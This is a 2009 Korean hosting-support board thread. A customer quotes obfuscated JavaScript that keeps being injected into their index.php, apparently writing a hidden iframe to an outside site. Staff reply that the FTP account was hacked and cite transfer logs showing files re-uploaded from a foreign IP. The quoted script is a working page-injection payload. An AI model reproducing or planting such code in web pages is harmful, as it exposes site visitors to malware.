|
|
|
|
|
질문과 답변
|
|
|
* 매뉴얼과 자주 묻는 질문을 먼저 확인 하시고, 질답 게시판에서 검색후 질문바랍니다.
* 질문시에는 자신의 계정 아이디와 홈주소를 필히 남겨주시기 바랍니다.
* 에러로 인한 문의시 에러메세지를 필히 함께 남겨주시기 바랍니다.
* 질답 게시판은 공개게시판으로 계정 비밀번호 정보를 남기시면 안됩니다.
|
| Read Reply from No. 31467 article |
2009-04-10 09:30:15 |
|
|
|
|
| NickName |
풀비누 |
| Subject |
Re: 바이러스인지 오류인지 체크좀.. |
|
|
이용계정은 ftp 접속해킹이 된 상태입니다.
즉시 비밀번호를 변경하시고, 계정내 게시판 소스를 최신버젼으로 패치해 보시기
바랍니다.
계정에 ftp 전송로그를 심어 드렸으니, /home1/redcake/ftplog.txt
확인하여, 점검을 해보시기 바랍니다. 다운로드후 바로 다시 전송하는 로그가 해킹소스
추가후 업로드된 부분입니다.
로그중 아래와 같은 형식의 로그를 체크하여 파일점검이 필요합니다.
Thu Apr 9 17:11:25 2009 0 213.182.197.236 700 /home1/redcake/public_html/index.php a _ i r
redcake ftp 0 * c
Thu Apr 9 17:11:23 2009 0 213.182.197.236 299 /home1/redcake/public_html/index.php a _ o r
redcake ftp 0 * c
Thu Apr 9 17:11:21 2009 0 213.182.197.236
868 /home1/redcake/public_html/edasom/skin/member/basic/login.php a _ i r redcake ftp 0 * c
Thu Apr 9 17:11:19 2009 0 213.182.197.236
467 /home1/redcake/public_html/edasom/skin/member/basic/login.php a _ o r redcake ftp 0 * c
Thu Apr 9 17:11:16 2009 0 213.182.197.236
6826 /home1/redcake/public_html/edasom/install.bak/index.php a _ i r redcake ftp 0 * c
Thu Apr 9 17:11:14 2009 0 213.182.197.236
6425 /home1/redcake/public_html/edasom/install.bak/index.php a _ o r redcake ftp 0 * c
영진 wrote..
:
:
: index.php 파일에 아래 소스가 자동으로 삽입이 되고 있습니다.
: 지워도 또 생기고 그러네요. 왜그런건지 확인바랍니다.
: <!-- ad --><script> s/*36fa405*/=/*3*/">khtcog\"ute?)jvvr<11okzdwpej0ep1vjtgcf0jvon)
\"ykfvj?)2)\"jgkijv?)2)@>1khtcog@"; for(i/*36fa405ef3228de4*/=/*3*/
: 0;/*36fa40*/i/*36fa405ef32*/ </*36fa405ef32*/s.length;/*36fa40*/ i++)/*36fa405ef*/ {
: document.write(String.fromCharCode(s.charCodeAt(i)-2)); } </script><!-- /ad -->
:
:
: 230- * 입주 서버 : true.byus.net ( 30차 )
: 230- * 계정 아이디 : redcake
: 230- * 계정 등록일 : 2009-03-17
[ 관련글 ]
|
|
|
Page Loading [ 1.40 Sec ]
SQL Time [ 1.37 Sec ]
|
|
|
Re: 바이러스인지 오류인지 체크좀.. 